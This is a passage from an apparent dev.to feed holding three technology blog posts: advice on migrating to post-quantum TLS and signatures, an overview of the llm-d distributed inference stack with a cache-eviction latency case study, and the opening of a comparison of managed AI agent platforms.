&lt;p&gt;&lt;strong&gt;Middlebox intolerance is the silent killer.&lt;/strong&gt; Adding ML-KEM public keys to the ClientHello balloons the extension by roughly 1,184 bytes. That pushes the ClientHello past the first TLS record boundary, forcing fragmentation. Corporate firewalls, load balancers, and "next-gen" inspection appliances from 2015-2019 often drop or mangle fragmented ClientHellos. Cloudflare spent five years (2019-2024) ramping PQC incrementally precisely because of this. They documented cases where a single misbehaving middlebox would break 2-3% of a customer's traffic in ways that looked like random TLS errors. You cannot fix this centrally. You have to detect, attribute, and either upgrade the middlebox or carve out a fallback path.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Performance degrades sharply under packet loss.&lt;/strong&gt; In ideal network conditions, the extra bytes cost you under 2.5% of handshake time and somewhere between 5-15% of page load time. On a clean fiber link you will barely notice. But under 3% packet loss, the larger handshake means more retransmissions, and latency balloons to 32% over the classical baseline. Mobile users on congested cell networks are going to feel this. Your p99 is going to look worse before it looks the same.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The CA bottleneck is real.&lt;/strong&gt; Public CAs are understaffed for hybrid certificate issuance. AWS Certificate Manager opened hybrid support in 2025 and discovered that legacy validators silently failed on the dual-signature certificate chain. The chain parses, but the second signature is ignored, so you think you have PQC protection when you don't. Hybrid cert issuance windows are opening at major public CAs in Q3 2026, but availability at scale will lag into 2027. If your application depends on client certs or mTLS, plan for a long tail.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Firmware is the worst deployment target.&lt;/strong&gt; Google's Android 17 rollout for ML-DSA in bootloader validation required 12-18 months of OEM coordination even with a single company driving the schedule. Every handset SoC has its own secure boot chain. ROM-baked classical verifiers cannot be patched. If your product ships with long-lived firmware — IoT, automotive, industrial — you are looking at multi-year lead times, and anything already shipped is effectively stuck on classical signatures until hardware refresh.&lt;/p&gt;

&lt;h2&gt;
  
  
  Is the harvest-now-decrypt-later threat actually real?
&lt;/h2&gt;

&lt;p&gt;Yes, and this is the slide your CISO needs to show the board.&lt;/p&gt;

&lt;p&gt;The threat model is simple. An adversary records encrypted traffic today. They store it cheaply — at a few cents per gigabyte, even nation-state-scale capture is operationally feasible. They wait. When a cryptographically relevant quantum computer comes online, they decrypt retroactively. Your TLS key exchange from 2026 is readable in 2035 or 2040.&lt;/p&gt;

&lt;p&gt;This is not a speculative framing anymore. The US Department of Homeland Security, the UK's NCSC, the EU's ENISA, and the Australian Cyber Security Centre have all published guidance that treats harvest-now-decrypt-later as a documented, active risk. HashiCorp's write-up frames it clearly: you are not protecting against tomorrow's interception, you are protecting yesterday's already-captured traffic that has a decade or more of shelf life.&lt;/p&gt;

&lt;p&gt;Which data actually matters?&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Intellectual property&lt;/strong&gt; that retains value for 10+ years: pharmaceutical research, unreleased product designs, trade secrets.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Diplomatic and intelligence communications&lt;/strong&gt; with effectively infinite sensitivity.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Healthcare records&lt;/strong&gt; that are protected under HIPAA for the patient's lifetime.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Financial and legal data&lt;/strong&gt; with 7-30 year retention requirements.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Personally identifiable information&lt;/strong&gt; that will embarrass you on tomorrow's front page regardless of when it was captured.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Insurers are pricing this now. Several cyber-insurance carriers have started requiring PQC roadmaps as part of underwriting renewals in 2026. Regulators — especially in financial services and healthcare — are treating absence of a migration plan as failure to meet the reasonable standard of care. If you get breached in 2030 and your 2026 traffic is decrypted, "we hadn't gotten to PQC yet" will not hold up in litigation.&lt;/p&gt;

&lt;h2&gt;
  
  
  Hybrid versus pure-PQ: which side wins?
&lt;/h2&gt;

&lt;p&gt;This is the live debate inside every security team, so let me lay out the argument honestly.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The pure-PQ camp&lt;/strong&gt; says hybrid is a transitional crutch. Lattice cryptography has been studied for three decades. ML-KEM went through multiple rounds of NIST competition with hundreds of cryptanalysts hammering at it. Every year you run hybrid, you pay double — double the handshake bytes, double the CPU, double the code to maintain. If you trust the standardization process, commit and move on.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The hybrid camp&lt;/strong&gt; — which includes Meta, Cloudflare, Akamai, AWS, and basically everyone running production at scale — says the lesson of cryptographic history is humility. RSA looked bulletproof in 1994. SHA-1 was safe until it wasn't. Lattice crypto at production scale is &lt;em&gt;new&lt;/em&gt;. Five years of serious deployment scrutiny is not enough. The extra bytes and CPU are cheap insurance. And critically, hybrid lets you fail safe if either family is broken, rather than fail catastrophically if the one you bet on is broken.&lt;/p&gt;

&lt;p&gt;My read: hybrid wins for the next five to seven years, then the argument flips. Once ML-KEM and ML-DSA have a decade of adversarial review behind them and no structural weakness has emerged, dropping the classical side becomes defensible. Until then, hybrid is the correct default.&lt;/p&gt;

&lt;p&gt;One more point the pure-PQ camp underweights: &lt;strong&gt;algorithm agility matters more than algorithm choice&lt;/strong&gt;. Whatever you deploy in 2026 should be swappable via configuration, not a code change. If HQC needs to replace ML-KEM in 2032 because somebody publishes a Module-LWE break, you want that to be a config push, not a six-month engineering project.&lt;/p&gt;

&lt;h2&gt;
  
  
  What are the implementation gotchas?
&lt;/h2&gt;

&lt;p&gt;Meta's six-step framework is: &lt;strong&gt;Prioritize → Inventory → External deps → Implement → Guardrails → Integrate&lt;/strong&gt;. Each step has a trap.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Prioritize&lt;/strong&gt; by data shelf life, not by traffic volume. The chatty internal telemetry service that carries gigabits of ephemeral metrics is lower priority than the boring admin API that handles customer PII with 7-year retention.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Inventory&lt;/strong&gt; is where most teams discover they do not actually know what crypto runs where. Every TLS endpoint, every signed artifact, every encrypted field in a database, every JWT-signing service, every mutual-TLS service mesh. Build the asset graph before you write a line of migration code. Meta's framework spends real time on this for a reason.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;External dependencies&lt;/strong&gt; are the scary part. You control your own services. You do not control the SaaS vendors, payment processors, identity providers, and partner APIs in your dependency graph. Start the vendor PQC roadmap conversation now. Many will not have answers, and that is itself useful signal about which partners are serious.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Implement&lt;/strong&gt; with hybrid from day one. Do not deploy classical-only into a system you plan to PQC later — you will end up doing the migration twice.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Guardrails&lt;/strong&gt; means feature flags, gradual rollout, and the ability to instantly disable PQ if middlebox incompatibility surfaces. Cloudflare's five-year ramp worked because they had per-customer, per-edge-location toggles.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Integrate&lt;/strong&gt; PQC into the normal SDLC so new services are born PQ-native. Otherwise you are signing up for a perpetual migration.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Anti-patterns I am seeing:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Treating PQC as "a TLS thing." It is also a signature thing, a long-lived-key thing, and a firmware thing. TLS is just the loudest.&lt;/li&gt;
&lt;li&gt;Waiting for "the standard to settle." ML-KEM and ML-DSA are standardized. The waiting game is done.&lt;/li&gt;
&lt;li&gt;Deploying pure-PQ for performance reasons without accepting the risk. If perf is that tight, fix the perf path, don't drop the hybrid protection.&lt;/li&gt;
&lt;li&gt;Ignoring the deployment order. TLS endpoints first (fast to roll out, high value for HNDL defense), then long-lived data encryption keys (medium complexity, enormous value), then signatures (slowest, requires firmware and PKI coordination).&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  What should you actually do this quarter?
&lt;/h2&gt;

&lt;p&gt;Five concrete actions for the next 90 days:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Run the crypto inventory.&lt;/strong&gt; Every TLS endpoint, every signing service, every long-lived encrypted data store. If your team cannot produce this list in a week, that gap is your first finding.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Pick your algorithm pair.&lt;/strong&gt; Default to ML-KEM768 + X25519 for key exchange and ML-DSA65 + ECDSA for signatures. Document the decision and the hedge plan (HQC) in an ADR.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Audit your middleboxes.&lt;/strong&gt; Run synthetic ClientHello traffic with PQ extensions through every load balancer, firewall, WAF, and inspection appliance in your path. Log every failure. This is the #1 thing that will break your rollout.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Start the vendor conversation.&lt;/strong&gt; Email every critical SaaS and infrastructure vendor asking for their PQC roadmap and target hybrid-cert support date. The non-responders become your risk register.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Write the board-level HNDL brief.&lt;/strong&gt; One page. What data has 10+ year shelf life, what the threat model is, what the CNSA 2.0 deadline means for the business, and what your 2026-2027 investment is. Get the budget conversation started now, because you will need it.&lt;/li&gt;
&lt;/ol&gt;

</description>
      <category>ai</category>
      <category>webdev</category>
      <category>programming</category>
      <category>javascript</category>
    </item>
    <item>
      <title>LLM-D Launches: Kubernetes-Native Distributed Inference</title>
      <dc:creator>Anil Kurmi</dc:creator>
      <pubDate>Sun, 19 Apr 2026 08:25:24 +0000</pubDate>
      <link>https://dev.to/practiceoverflow/llm-d-launches-kubernetes-native-distributed-inference-3j0f</link>
      <guid>https://dev.to/practiceoverflow/llm-d-launches-kubernetes-native-distributed-inference-3j0f</guid>
      <description>

&lt;p&gt;It's Tuesday afternoon. An SRE at a mid-sized fintech is staring at a P90 latency dashboard that just flipped from a calm 0.5 seconds to an ugly 8 seconds. Same GPU fleet. Same model. No traffic spike. Every pod shows 40% utilization. The on-call channel is a blizzard of "rolling back?" messages.&lt;/p&gt;

&lt;p&gt;The actual bug: customer A's 6,000-token system prompt was sitting warm in HBM. Customer B arrived, the scheduler promoted B's prefix into HBM, and A's cache got evicted down to DRAM. The next time A came back, the router — blind to where A's prefix had actually gone — sent the request to a pod that now had to pull the prefix from a slower tier. P90 went 16× off a cliff while the capacity graph stayed flat.&lt;/p&gt;

&lt;p&gt;This is the "cache partition cascade." It's the exact bug the llm-d project, announced this week as a CNCF Sandbox project, is built to eliminate. And it's the reason your token bill is about to flip 180° — if you understand it.&lt;/p&gt;

&lt;h2&gt;
  
  
  5-Minute Skim
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;What changed:&lt;/strong&gt; llm-d — a Kubernetes-native distributed inference stack — landed in the CNCF Sandbox backed by Google Cloud, Red Hat, IBM, NVIDIA, CoreWeave, AMD, Cisco, Hugging Face, Intel, Lambda, and Mistral AI. The v0.5 release validated 3.1k tokens/sec per B200 on decode and 50k tokens/sec on a 16×16 B200 topology.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Default recommendation:&lt;/strong&gt; If you run self-hosted vLLM at scale and your workloads share long prefixes (support bots, ads ranking, legal Q&amp;amp;A, agents), adopt llm-d. If you do one-shot inference with unique prompts, stay on vanilla vLLM — the disaggregation overhead won't pay for itself.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;What breaks:&lt;/strong&gt; The naive "one-pod-per-replica" vLLM deployment. Cache-hit economics completely dominate; if you aren't measuring prefix-cache hit rate per tenant, you are flying blind. Also breaks: any mental model where "more GPUs = lower latency." llm-d showed a 57× TTFT improvement with the same 16 H100s.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Key trade-off:&lt;/strong&gt; llm-d gives you 25-70% higher throughput and 10× cheaper cached tokens ($0.30 vs $3.00 per million) — but you inherit a scheduler, a multi-tier KV cache, and a transport layer (NIXL/UCCL) you now have to operate. Managed services like Bedrock hide all of that; you pay for the hiding.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why did this hit the wires this week?
&lt;/h2&gt;

&lt;p&gt;Two things converged. First, llm-d formally entered the CNCF Sandbox on April 13 with a coalition that spans every major compute supplier — hyperscalers, chip vendors, neocloud operators, model labs. That's unusual. Kubernetes itself didn't launch with that kind of cross-vendor consensus.&lt;/p&gt;

&lt;p&gt;Second, the economic pressure became impossible to ignore. Meta published two pieces this week — "Capacity Efficiency at Meta" on April 16 and "KernelEvolve" on April 2 — describing AI agents that claw back &lt;em&gt;hundreds of megawatts&lt;/em&gt; of capacity from existing fleets through automated infrastructure optimization. KernelEvolve alone reported a 60% throughput gain on the Andromeda ads model. When Meta's own ML infrastructure team is sending agents to rewrite CUDA kernels, the industry message is clear: inference is now a capacity-efficiency problem, not a model-quality problem.&lt;/p&gt;

&lt;p&gt;AMD's MLPerf 6.0 results dropped in the same window — the MI355X posted 1.08-1.2× uplift, and for the first time competitive inference numbers exist outside the NVIDIA stack. A Kubernetes-native, hardware-neutral control plane suddenly has much bigger stakes.&lt;/p&gt;

&lt;h2&gt;
  
  
  What does llm-d actually do?
&lt;/h2&gt;

&lt;p&gt;Three moves, each non-obvious, each compounding.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Move one: disaggregate prefill from decode.&lt;/strong&gt; A transformer inference request has two phases. Prefill processes the input prompt in parallel — it's compute-bound and loves fat GPUs. Decode generates tokens one at a time — it's memory-bandwidth-bound and wastes compute. Running them on the same pod means your decode phase starves a prefill-optimized GPU, or your prefill phase bottlenecks a decode-optimized one. llm-d splits them onto separate pools: prefill pods (typically 8) and decode pods (typically 16), connected via a high-speed transport.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Move two: multi-tier KV cache.&lt;/strong&gt; Every token you generate needs the model's attention over every previous token — the "KV cache." For a 6K-token prompt, that cache is hundreds of megabytes per request. llm-d stores it across a hierarchy: HBM (fastest, scarcest) → DRAM (10× cheaper, 5× slower) → NVMe (100× cheaper, 50× slower) → distributed storage. The NIXL protocol moves cache blocks between tiers on demand. Cache hits in HBM cost you $0.30 per million tokens. Misses that fetch from cold storage cost $3.00. Same model, same request — 10× cost delta driven entirely by where the prefix lives.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Move three: scheduler-aware routing via Kubernetes Gateway API.&lt;/strong&gt; The scheduler doesn't just know which pod is healthy. It knows which pod holds which prefix in which tier. When a request arrives with a known prefix, it routes to the pod that already has the KV cache warm. When no pod does, it routes to minimize transfer cost. The Gateway API integration means this is a first-class Kubernetes concept, not a sidecar hack.&lt;/p&gt;

&lt;p&gt;Underneath, llm-d still runs vLLM — PagedAttention, continuous batching, OpenAI-compatible API. It's not a replacement. It's the control plane vLLM always needed.&lt;/p&gt;

&lt;p&gt;Five nodes, one story: the gateway sees the request, picks a prefill pod with (or near) the warm cache, hands the KV state to a decode pod over NIXL, and tiers inactive cache to cheaper memory. No node does two jobs.&lt;/p&gt;

&lt;h2&gt;
  
  
  What do real deployments look like?
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Meta Capacity Efficiency (April 16).&lt;/strong&gt; Meta deployed unified AI agents across its fleet that analyze traces, propose kernel rewrites, and re-partition workloads. The reported recovery: hundreds of megawatts. Not a model improvement — a scheduling and kernel-fusion improvement on existing silicon. This is the same philosophy llm-d exposes to the rest of us: the gains live in the scheduler and the memory hierarchy, not the chip.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Meta KernelEvolve (April 2).&lt;/strong&gt; A "ranking engineer agent" that optimizes CUDA kernels for the Andromeda ads model. 60% throughput gain. Meta's takeaway: human engineers can't explore the kernel search space fast enough, and the kernels evolve faster than the model does. For llm-d users, the corollary is that you want a control plane that can swap kernels and routing rules without a redeploy. llm-d's Kubernetes-native design lets you do exactly that via CRD updates.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;DeepSeek-V3 in production.&lt;/strong&gt; Running on H200 with vLLM plus Wide-EP (wide expert parallelism), DeepSeek reported 2.2k tokens/sec per H200 and a 40% per-token latency reduction. The Wide-EP trick — spreading MoE experts across many GPUs — only works with a scheduler that understands which expert lives where. That is exactly what llm-d formalizes.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;AWS disaggregated inference.&lt;/strong&gt; AWS published a post on April 15 introducing disaggregated inference on EKS powered by llm-d. Same primitives, different cloud. The coalition is real.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Cache Partition Cascade
&lt;/h2&gt;

&lt;p&gt;Here's the war story in full, because the numbers matter.&lt;/p&gt;

&lt;p&gt;An enterprise customer running llm-d v0.4 — pre-fix — deployed 8 prefill pods and 16 decode pods on 16 H100s. Workload: multi-tenant customer support. Average context: 6K tokens of system prompt plus ~500 tokens of conversation history. Classic cache-hit workload.&lt;/p&gt;

&lt;p&gt;Monday, 14:00. Customer A's 6K prefix fills HBM on prefill pod #3. TTFT for A: 540ms. Beautiful.&lt;/p&gt;

&lt;p&gt;Monday, 14:12. Customer B arrives. B's prefix is different but similar in size. The scheduler, correctly, promotes B into HBM on pod #3 — B is active, A has gone quiet. A's KV cache is evicted down to DRAM.&lt;/p&gt;

&lt;p&gt;Monday, 14:14. A sends a follow-up. Here's the bug: the scheduler routed A's follow-up to pod #3 because the &lt;em&gt;prefix hash&lt;/em&gt; still pointed there. But pod #3 no longer had A's cache in HBM — it was two tiers down. The pod had to fetch the KV blocks back over NIXL, rebuild the attention state, and only then start decoding. TTFT for A's follow-up: 8.6 seconds. 16× degradation.&lt;/p&gt;

&lt;p&gt;Meanwhile, the GPU utilization graph stayed at a comfortable 40%. The SLO breached. Capacity planning said everything was fine.&lt;/p&gt;

&lt;p&gt;The v0.5 fix (shipped April 2026) does three things:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Cache-aware LoRA routing.&lt;/strong&gt; The scheduler now tracks &lt;em&gt;which tier&lt;/em&gt; holds each prefix, not just which pod.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Inline cost function.&lt;/strong&gt; HBM hit beats DRAM hit beats miss-plus-fetch. The scheduler scores candidates on expected latency, not just locality.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;UCCL-based transport HA.&lt;/strong&gt; The NIXL fallback path no longer stalls when a peer pod is evicting; it fails over to a replica tier.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Post-fix, the same workload's P90 dropped to 620ms under identical tenant churn.&lt;/p&gt;

&lt;p&gt;Lesson: in disaggregated inference, your scheduler's world-model of the cache is the system. Lie to it — or let it go stale — and no amount of GPU capacity saves you.&lt;/p&gt;

&lt;h2&gt;
  
  
  How does llm-d compare to Ray Serve, Modal, and Bedrock?
&lt;/h2&gt;

&lt;p&gt;I've seen teams pick each. Here's how the debate actually runs.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;llm-d vs Ray Serve.&lt;/strong&gt; Ray Serve is a general-purpose Python serving framework — it can host anything callable. That generality is the cost. Ray has no native concept of prefill/decode split, no KV-cache tiering, no prefix-aware routing. You can build those on top, and plenty of teams have, but you're building the llm-d feature set by hand. If your workload is LLM-dominated, llm-d starts you 18 months ahead. If you're serving a zoo of ML models — rankers, embeddings, a few LLMs — Ray stays competitive because the LLM isn't the only customer.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;llm-d vs Modal.&lt;/strong&gt; Modal's pitch is per-second billing and zero ops. That's seductive until you realize inference traffic is rarely bursty enough to benefit. Customer support bots, ads serving, legal Q&amp;amp;A — these run a steady baseline 24/7. Modal's economics collapse above 50 concurrent users because you're paying a premium for elasticity you aren't using. Modal remains excellent for experimentation, nightly eval jobs, and genuinely bursty workloads (batch document processing, overnight agents). For steady-state production serving, llm-d on reserved capacity wins on pure $/token.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;llm-d vs AWS Bedrock.&lt;/strong&gt; Bedrock hides everything — no scheduler to tune, no KV cache to partition, no pods to patch. You pay a roughly 2-3× premium over self-hosted llm-d on equivalent hardware. For teams without a dedicated ML infra function, that premium is cheap. For teams burning &amp;gt;$100K/month on inference, llm-d pays back the ops cost in weeks. The split point is roughly where you'd hire a dedicated ML infra engineer anyway.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The honest answer:&lt;/strong&gt; llm-d wins when (a) you have cache-reusable workloads, (b) you have the operational muscle to run Kubernetes plus a specialized control plane, and (c) your token volume makes the hiring math work. Below that threshold, managed services aren't stupid — they're correct.&lt;/p&gt;

&lt;h2&gt;
  
  
  When should you adopt, and when should you skip?
&lt;/h2&gt;

&lt;p&gt;Adopt if:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Your prefix-cache hit rate (measure it today on vanilla vLLM) is above 30%. Support bots, ads, agents, and RAG systems routinely hit 60-80%.&lt;/li&gt;
&lt;li&gt;Your average context is over 2K tokens. Cache tiering only earns its keep when the cached state is worth paging.&lt;/li&gt;
&lt;li&gt;You run at least 8 GPUs in a single inference fleet. Below that, the disaggregation overhead dominates.&lt;/li&gt;
&lt;li&gt;You already run Kubernetes in production. llm-d assumes you're fluent with CRDs, Gateway API, and pod-level networking.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Skip if:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Your workloads are one-shot — every prompt is unique. Cache tiering is dead weight; stick with vLLM's built-in scheduling.&lt;/li&gt;
&lt;li&gt;You have fewer than 4 GPUs. The orchestration cost exceeds the throughput gain.&lt;/li&gt;
&lt;li&gt;You don't have an on-call team that understands GPU memory hierarchies. When the cache cascade hits, you need someone who knows what NIXL is.&lt;/li&gt;
&lt;li&gt;You're on pre-H100 hardware. The cache-tier bandwidth assumptions don't hold.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;A middle path: run llm-d as a pilot on one workload — preferably your highest cache-hit workload — for a quarter before committing. v0.5 is stable, but the operational playbook is still being written in public.&lt;/p&gt;

&lt;h2&gt;
  
  
  Actionable takeaways
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Measure prefix-cache hit rate per tenant this week.&lt;/strong&gt; If you're on vLLM, this is a Prometheus scrape away. It's the single number that predicts your llm-d ROI.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Alert on cache-tier residency, not just GPU utilization.&lt;/strong&gt; The cache cascade was invisible on GPU graphs. Build a dashboard for HBM/DRAM/NVMe occupancy and eviction rate.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Separate prefill and decode traffic in your load tests.&lt;/strong&gt; If you test with a single request type, you'll miss the disaggregation economics entirely.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Budget for NVIDIA BlueField-4 (H2 2026).&lt;/strong&gt; NVIDIA's CMX platform extends the cache hierarchy to 4 tiers with 5× sustained TPS on long-context agentic workloads. If your roadmap includes 100K+ context agents, plan the hardware refresh now.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Pilot llm-d on one high-cache-hit workload this quarter.&lt;/strong&gt; Don't rip-and-replace. Prove the economics on one tenant, then expand.&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  Deep Dive Resources
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;a href="https://cloud.google.com/blog/products/ai-machine-learning/enhancing-vllm-for-distributed-inference-with-llm-d" rel="noopener noreferrer"&gt;Google Cloud: Enhancing vLLM for distributed inference with llm-d&lt;/a&gt; — The architectural overview with benchmark methodology.&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://github.com/llm-d/llm-d" rel="noopener noreferrer"&gt;llm-d on GitHub&lt;/a&gt; — Source, CRDs, and the v0.5 release notes with the cache-aware routing fix.&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://aws.amazon.com/blogs/machine-learning/introducing-disaggregated-inference-on-aws-powered-by-llm-d/" rel="noopener noreferrer"&gt;AWS: Disaggregated inference on AWS powered by llm-d&lt;/a&gt; — EKS deployment walkthrough.&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://engineering.fb.com/2026/04/16/developer-tools/capacity-efficiency-at-meta-how-unified-ai-agents-optimize-performance-at-hyperscale/" rel="noopener noreferrer"&gt;Meta Engineering: Capacity Efficiency at Meta&lt;/a&gt; — The "hundreds of megawatts" story.&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://developer.nvidia.com/blog/introducing-nvidia-bluefield-4-powered-inference-context-memory-storage-platform-for-the-next-frontier-of-ai/" rel="noopener noreferrer"&gt;NVIDIA: BlueField-4 Inference Context Memory Storage&lt;/a&gt; — Where the 4-tier cache hierarchy is going in H2 2026.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Sources &amp;amp; Attribution
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Google Cloud Blog, "Enhancing vLLM for distributed inference with llm-d," April 2026&lt;/li&gt;
&lt;li&gt;Meta Engineering Blog, "Capacity Efficiency at Meta," April 16, 2026&lt;/li&gt;
&lt;li&gt;Meta Engineering Blog, "KernelEvolve," April 2, 2026&lt;/li&gt;
&lt;li&gt;AWS ML Blog, "Introducing disaggregated inference on AWS powered by llm-d," April 2026&lt;/li&gt;
&lt;li&gt;NVIDIA Developer Blog, "Introducing NVIDIA BlueField-4," April 2026&lt;/li&gt;
&lt;li&gt;llm-d GitHub repository, v0.5 release notes&lt;/li&gt;
&lt;li&gt;MLPerf Inference 6.0 results, April 2026&lt;/li&gt;
&lt;li&gt;DeepSeek-V3 production deployment reports, April 2026&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>ai</category>
      <category>webdev</category>
      <category>programming</category>
      <category>kubernetes</category>
    </item>
    <item>
      <title>The Great Agent Platform Consolidation: Why I'm Rethinking My $9 Side-Project Agent</title>
      <dc:creator>Anil Kurmi</dc:creator>
      <pubDate>Sun, 19 Apr 2026 08:23:52 +0000</pubDate>
      <link>https://dev.to/practiceoverflow/the-great-agent-platform-consolidation-why-im-rethinking-my-9-side-project-agent-4mba</link>
      <guid>https://dev.to/practiceoverflow/the-great-agent-platform-consolidation-why-im-rethinking-my-9-side-project-agent-4mba</guid>
      <description>&lt;p&gt;On Wednesday night I sat staring at two deploy buttons. One was my scrappy LangGraph agent running on a $9/month VPS — duct-taped together with Redis for memory, a homegrown sandbox I'd written three weekends ago, and a credentials file I still felt bad about. The other was Anthropic's new Managed Agents dashboard, asking me for $0.08 per runtime-hour. That's about $58/month if I left it on 24/7. Six times more expensive.&lt;/p&gt;

&lt;p&gt;I pressed the managed one.&lt;/p&gt;

&lt;p&gt;Not because I'd gone soft. Because I'd just finished writing a 400-line retry loop to handle a sandbox that kept OOMing on long tool calls, and Anthropic was offering to delete that file from my life. Three to six months of infrastructure work, gone. That's the pitch of the week, and it's working — but it comes with a trade none of the launch posts want to talk about.&lt;/p&gt;

&lt;p&gt;This week — April 13-19, 2026 — wasn't just another product cycle. It was the week the agent platform wars turned into a platform consolidation. Three simultaneous launches, one new Linux Foundation project, and one quiet market share number that tells you who's actually winning.&lt;/p&gt;

&lt;h2&gt;
  
  
  The 5-Minute Skim
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;What changed this week:&lt;/strong&gt; Anthropic launched Managed Agents (flat $0.08/runtime-hour, April 8). OpenAI updated its Agents SDK with sandbox execution, long-horizon tasks, and multi-provider support (April 15). The Agentic AI Foundation formalized under the Linux Foundation with Anthropic, OpenAI, and Block as founding members. Claude Opus 4.7 shipped the same week with advanced SWE capabilities.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;The number nobody's quoting:&lt;/strong&gt; OpenAI's share of enterprise LLM API spend has dropped from ~50% in 2023 to 27% in 2026. Market share is following openness, not coordination features. Anthropic gained by &lt;em&gt;not&lt;/em&gt; building a walled garden.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Default recommendation:&lt;/strong&gt; If you're a team of 1-5 shipping in under a quarter, use Anthropic's Managed Agents. If you're a platform team that already runs its own infra, use OpenAI's Agents SDK with BYO sandbox. Only pick LangGraph/CrewAI if you genuinely need graph-level control of the orchestration — most teams don't.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Failure mode to expect:&lt;/strong&gt; Over-permissioned agents, credential sprawl, and skill-package supply-chain attacks (see: the "OpenClaw" incident below). State management fails first; observability fails second.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;The trade-off:&lt;/strong&gt; Managed platforms hide the hardest problems (state, credentials, governance) behind the "enterprise tier" bill. DIY forces you to solve them. There is no free option — you pay in dollars or you pay in on-call pages.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Why did three platforms ship agent runtimes in the same week?
&lt;/h2&gt;

&lt;p&gt;This didn't happen by accident. The vendors have been watching the same graph: enterprise agent deployments went from demo toys in 2024 to real production workloads in 2025, and every one of them bled budget on infrastructure no one wanted to maintain. Teams were writing their own sandbox runners, their own memory stores, their own session replay — five times over, badly.&lt;/p&gt;

&lt;p&gt;On April 8, Anthropic shipped Managed Agents as a public beta. The pitch is ruthless: $0.08 per runtime-hour, flat. No CPU tiers, no memory tiers, no per-tool-call charges. The harness — memory, sandbox, state persistence, session logs, tool orchestration — is all included. They claim it compresses three to six months of infra work into an afternoon, and having just spent three weekends on a sandbox, I believe them.&lt;/p&gt;

&lt;p&gt;One week later, on April 15, OpenAI pushed a major Agents SDK update. Instead of running the sandbox themselves, they let you plug in E2B, Modal, Cloudflare, or Vercel. Python-first. Long-horizon tasks. Filesystem tools. The strategy is visibly different: OpenAI wants to be the &lt;em&gt;coordination layer&lt;/em&gt;, not the runtime. "Bring your own everything — we'll orchestrate."&lt;/p&gt;

